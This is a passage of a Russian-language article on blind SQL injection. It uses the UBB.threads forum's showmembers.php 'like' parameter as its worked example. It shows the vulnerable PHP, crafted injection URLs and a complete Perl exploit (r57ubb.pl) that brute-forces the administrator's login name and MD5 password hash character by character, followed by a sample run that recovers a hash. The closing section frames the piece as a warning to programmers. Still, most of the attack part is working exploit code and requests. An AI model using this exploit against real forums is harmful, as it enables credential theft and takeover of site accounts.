__ Конкретный пример __
Пришло время рассмотреть конкретный пример использования посимвольного перебора. Нашим пациентом станет форум UBB.threads в котором недавно нашли ошибку типа sql injection в файле showmembers.php. На данную уязвимость был выпущен эксплоит позволяющий получить пароль администратора через обьединение запросов с помощью UNION, естественно данный сплоит работает только на базах mysql версии выше 4.0 Мы попробуем написать эксплоит который будет работать на всех версиях БД.
Преведу код из файла showmembers.php:
// Set the default sort
$andlike = "";
if (empty($sb)) { $sb = 1; };
if ($like != "") {
$andlike = "AND U_Username LIKE '$like%'";
}
// --------------------------------------------------
// Grab the total number of users out of the database
$query = "
SELECT COUNT(*)
FROM {$config['tbprefix']}Users
WHERE U_Approved='yes'
$andlike
";
В данном коде скрипт запросом получает количество пользователей из таблицы у которых имя пользователя U_Username совпадает со строкой переданной нами в качестве параметра like.
Например для того чтобы найти пользователей у которых username начинается с 123 мы отдаем такую команду в браузере
http://127.0.0.1/UBB/ubbthreads/show...age=1&like=123
В базе данных выполняется запрос
SELECT COUNT(*) FROM w3t_Users WHERE U_Approved='yes' AND U_Username LIKE '123%'
Так как параметр like никак не проверяется перед помещением в запрос мы можем вставить в данный запрос дополнительные условия:
http://127.0.0.1/UBB/ubbthreads/showmembers.php?Cat=&page=1&like=12345' AND ascii(lower(substring(U_Password,1,1)))=50 /*
Что вызовет выполнение в БД запроса:
SELECT COUNT(*) FROM w3t_Users WHERE U_Approved='yes' AND U_Username LIKE '12345' AND ascii(lower(substring(U_Password,1,1)))=50 /*%'
И данный запрос вернет информацию о пользователе имя которого 12345 если код первого символа его пароля равняется 50 т.е. если первый символ его пароля 2.
Точнее сказать что этот запрос возвращает количество строк совпадающих с условием, а далее в зависимости от этого количества, производятся следующие запросы к БД выбирающие информацию о данных пользователях. Опубликованный эксплоит как раз и использовал обьединение через UNION в этих последующих запросах для вывода хешей паролей пользователей. В нашем же случае нам вполне достаточно этого первого запроса к БД получающего количество строк. Ведь если будет возвращаться нулевое количество то и дальнейшие запросы выполняться не будут и соответственно не будет никакого вывода. А наличие или отсутствие вывода и является единственным необходимым нам ответом скрипта на основании которого мы и проведем перебор.
Одна особенность данного форума состоит в том что в U_Username хранится имя пользователя которое отображается при добавлении сообщений и в списке пользователей, но для авторизации на форуме используется U_LoginName которое не отображается и которое нам также придется получить для чего мы воспользуемся уже известной функцией CONCAT. И запрос принимает вид:
http://127.0.0.1/UBB/ubbthreads/showmembers.php?Cat=&page=1&like=12345' AND ascii(lower(substring(CONCAT(U_LoginName,CHAR(58), U_Password),1,1)))=50 /*
Функция char(58) соответствует символу : и предназначена для того чтобы при получении отделить логин от хэша пароля.
Итак теперь осталось только определить строку которая будет присутствовать в ответе скрипта при правильном выполнении запроса и все данные необходимые для перебора будут у нас в руках.
После просмотра html кода легко определить что при присутствии вывода информации о пользователе (т.е. при выполнении запроса) в коде будут присутствовать строки типа: <td class="lighttable"> Именно по этим строкам мы и будем определять выполнение условия в запросе.
Таким образом все данные необходимые для перебора у нас имеются и можно написать эксплоит который будет перебирать символы и выводить полученный результат. Код данного сплоита таков:
--- start r57ubb.pl ---
#!/usr/bin/perl
use LWP::UserAgent;
# UBB.Threads 6.2.* - 6.3.* exploit
# with one char brute technique
# by 1dt.w0lf // r57
$path = $ARGV[0];
$username = $ARGV[1];
$s_num = 1;
$n=0;
$|++;
if (@ARGV < 2) { &usage; }
print "Please wait...\r\n";
print "[";
while(1)
{
# начинаем перебор с полного диапазона
&found(0,122);
# если возвращенный код 0 значит дошли до конца
# строки и выводим полученный результат
if ($char=="0")
{
print "]\r\n\r\n";
# разделяем полученную строку на логин и пароль
($res1,$res2)=split(":",$allchar); #
print "------------------x REPORT x-------------------\r\n";
print " Username: $username\r\n";
print " Login Name: $res1\r\n";
print " Password Hash: $res2\r\n";
print "------------------x REPORT x-------------------\r\n";
print "total requests: $n\r\n";
exit();
}
else
{
# преобразуем полученный код в символ и добавляем его к строке результата
print "|";
$allchar .= chr($char);
}
# увеличиваем позицию символа на единицу и продолжаем перебор
$s_num++;
}
sub found($$)
{
# определяем переданный диапазон
my $fmin = $_[0];
my $fmax = $_[1];
# если диапазон менее 5 то переходим к перебору
if (($fmax-$fmin)<5) { $char=&crack($fmin,$fmax); return $char; }
# определяем центр диапазона
$r = int($fmax - ($fmax-$fmin)/2);
# делаем условие
$check = ">$r";
# и проверяем условие, в зависимости от результата
# рекурсивно вызываем функцию с новым диапазоном
if ( &check($check) ) { &found($r,$fmax); }
else { &found($fmin,$r+1); }
}
sub crack($$)
{
# определяем переданный диапазон
my $cmin = $_[0];
my $cmax = $_[1];
$i = $cmin;
# и проходим по каждому значению из диапазона
while ($i<$cmax)
{
# делаем условие
$crcheck = "=$i";
# проверяем его
if ( &check($crcheck) ) { return $i; }
$i++;
}
return;
}
sub check($)
{
# увеличиваем количество запросов
$n++;
# определяем условие
$ccheck = $_[0];
# создаем http запрос к серверу
$http_query = $path."?Cat=&page=1&like=".$username."'
AND ascii(substring(CONCAT(U_LoginName,CHAR(58),U_Pass word),".$s_num.",1))".$ccheck." /*";
# Если вы хотите видеть все запросы отправляемые к скрипту
# то расскоментируйте следующую строку
# print "\r\n $http_query \r\n";
$mcb_reguest = LWP::UserAgent->new() or die;
# получаем ответ сервера
$res = $mcb_reguest->post($http_query);
@results = $res->content;
# проверяем ответ сервера на наличие строки
foreach $result(@results)
{
if ($result =~ /<td class=\"lighttable\">/) { return 1; }
}
return 0;
}
sub usage
{
print "================================================= ========\r\n";
print " UBB.Threads 6.2.*-6.3.* one char bruteforce exploit\r\n";
print " For all MySQL versions! Don't need UNION support!\r\n";
print "================================================= ========\r\n";
print " Usage: $0 [path/to/showmembers.php] [username]\r\n";
print " e.g. : $0
http://127.0.0.1/showmembers.php admin\r\n";
print "================================================= ========\r\n";
exit();
}
--- end r57ubb.pl ---
Итак пусть форум крутится на mysql версии 3.23.58 и на форуме существует пользователь имя которого "im_not_admin"
Попробуем получить его логин и пароль.
C:\>r57ubb.pl
http://127.0.0.1/ubbthreads/showmembers.php im_not_admin
Please wait...
[|||||||||||||||||||||||||||||||||||||||||||]
------------------x REPORT x-------------------
Username: im_not_admin
Login Name: real_admin
Password Hash: 5f4dcc3b5aa765d61d8327deb882cf99
------------------x REPORT x-------------------
num requests: 373
C:\>
Как видно нам это удалось и общее количество запросов понадобившихся для перебора составило 373 запроса. Таким образом для перебора строки из 43 символов (32 символа хеш пароля + 10 символов имя юзера + 1 символ разделитель) требуется примерно 350-400 запросов и на диалапе перебор занимает примерно секунд 20-30. Имхо совсем неплохо

В приведенном коде перебирается диапазон символов с кодами от 0 до 122 и не используется функция lower() так как в логине пользователя могут использоваться символы в верхнем регистре. Можно еще ускорить перебор уменьшив диапазон перебора после получения символа разделителя (

так как пароль в данном форуме шифруется md5 и соответственно в хеше будут только символы в нижнем регистре и цифры. Но реализацию этого я оставлю для вас...
__ OUTRO __
Методы описанные в данной статье на примере баз MySQL с тем же успехом могут применяться и на MSSQL, единственное, что для этого потребуется это немного видоизменить запросы. В MSSQL включена поддержка как обьединения через UNION так и поддержка подзапросов, таким образом на данной базе посимвольный перебор трудностей не вызывает.
Целью данной статьи было показать как возможные взломщики могут получить информацию из баз данных пользуясь внедрением sql кода в разнообразные запросы при условиях отсутствия вывода полученного результата. Надеюсь эта статья подтолкнет програмистов пишущих софт, использующий в своей работе БД, тщательнее относиться к проверке данных получаемых от пользователя перед помещением этих данных в запрос к базе данных, вне зависимости от того какого рода этот запрос.